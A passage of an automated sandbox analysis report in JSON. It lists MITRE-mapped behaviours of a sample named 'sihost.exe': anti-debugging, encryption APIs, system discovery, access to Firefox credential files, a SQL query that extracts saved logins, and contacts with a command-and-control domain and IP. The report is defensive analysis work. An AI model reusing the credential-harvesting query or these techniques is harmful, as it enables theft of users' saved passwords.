\"sihost\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"sihost\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"sihost\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 31606-1068-0040903C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor eax\n ebp in Stream UID: 31606-367-00407BE1\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 31606-367-00407BE1\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 31606-360-00407931\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 31606-360-00407931\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 31606-76-0040BF9F\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 31606-76-0040BF9F\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 31606-365-0040AC10\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 31606-365-0040AC10\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 31606-362-0040A9E3\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 31606-362-0040A9E3","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"LsaICryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"LsaICryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"LsaICryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"$25","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"file/memory contains long string with (Indicator: \"private key\"; Source: \"00000000-00003192.00000000.67782.00259000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$26","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to decrypt data\n Matched sigs: Calls an API typically used to performs encryption on the data\n Matched sigs: Calls an API typically to import cryptographic keys into a CSP\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Contains ability to encrypt/encode message (API string)\n Matched sigs: Contains reference to crypto DLLs\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains reference to cryptographic keys\n Matched sigs: Contains ability to use Cryptographic classes","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"sihost.exe\" called \"IsWow64Process\" with parameter \"3192\" - (UID: 00000000-00003192)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"sihost.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003192)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$27","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"sihost.exe\" called \"GetVersionExA\" (UID: 00000000-00003192)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"sihost.exe\" called \"LookupAccountSidW\" with param Name u1gxIGR (UID: 00000000-00003192)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"sihost.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"sihost\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; File: \"00000000-00003192.00000002.71621.00246000.00000040.mdmp\")\n Found reference to API \"RtlNtStatusToDosError\" (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00003192.00000000.67782.00246000.00000040.mdmp, 00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000002.71621.00246000.00000040.mdmp, 00000000-00003192.00000003.72568.00246000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"ver URL\" (Indicator: \"ver \") in Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeNameForVolumeMountPointA\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"GetProcessHeap@KERNEL32.DLL at 00000000-00003192-37388-21-00402BAB\n GetProcessHeap@KERNEL32.DLL at 00000000-00003192-37388-18-00402B7C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains the ability to enumerate volumes (API string)","description":"Found reference to API \"FindNextVolumeMountPointA\" (Indicator: \"FindNextVolume\"; File: \"sihost\")\n Found reference to API \"FindNextVolumeMountPointA\" (Indicator: \"FindNextVolumeMountPoint\"; File: \"sihost\")\n Found reference to API \"GetVolumePathNameA\" (Indicator: \"GetVolumePathName\"; File: \"sihost\")\n Found reference to API \"FindFirstVolumeW\" (Indicator: \"FindFirstVolume\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"sihost.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\secmod.db\" at 00000000-00003192-0000010C-10036313406766354\n \"sihost.exe\" queries volume information of \"C:\\\" at 00000000-00003192-0000010C-10036313406826128\n \"sihost.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\cert8.db\" at 00000000-00003192-0000010C-10036313406828890\n \"sihost.exe\" queries volume information of \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\g4h7miqt.default\\key3.db\" at 00000000-00003192-0000010C-10036313406833250","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information of an entire harddrive","description":"\"sihost.exe\" queries volume information of \"C:\\\" at 00000000-00003192-0000010C-10036313406826128","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"sihost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"sihost.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"sihost.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\B52C16 (UID: 00000000-00003192)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"sempersim.su\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"104.237.252.65:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins\" (Source: 40723-341-0040955B, Indicator: \"select encryptedusername, encryptedpassword, formsubmiturl, hostname from moz_logins\")\n \"SELECT encryptedUsername, encryptedPassword, formSubmitURL, hostname FROM moz_logins\" (Source: 00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp, Indicator: \"select encryptedusername, encryptedpassword, formsubmiturl, hostname from moz_logins\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"sihost\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: sihost)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$28","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; File: \"sihost\")\n Found reference to API \"FindResourceExA\" (Indicator: \"FindResource\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; File: \"sihost\")\n Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"sihost\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"sihost\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"ZwResumeThread\" (Indicator: \"ResumeThread\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"ZwResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"sihost\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"sihost\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$29","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"6897110B52C166E7F20FBF0B\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"User-Agent: %s\" (Indicator: \"user-agent: \"; Source: \"00000000-00003192.00000003.72568.00259000.00000004.mdmp\")\n Found string \"User-Agent: Mozilla/4.08 (Charon; Inferno)\" (Indicator: \"user-agent: \"; Source: \"00000000-00003192.00000003.72568.00259000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"sihost.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 756F0000","origin":"Loaded 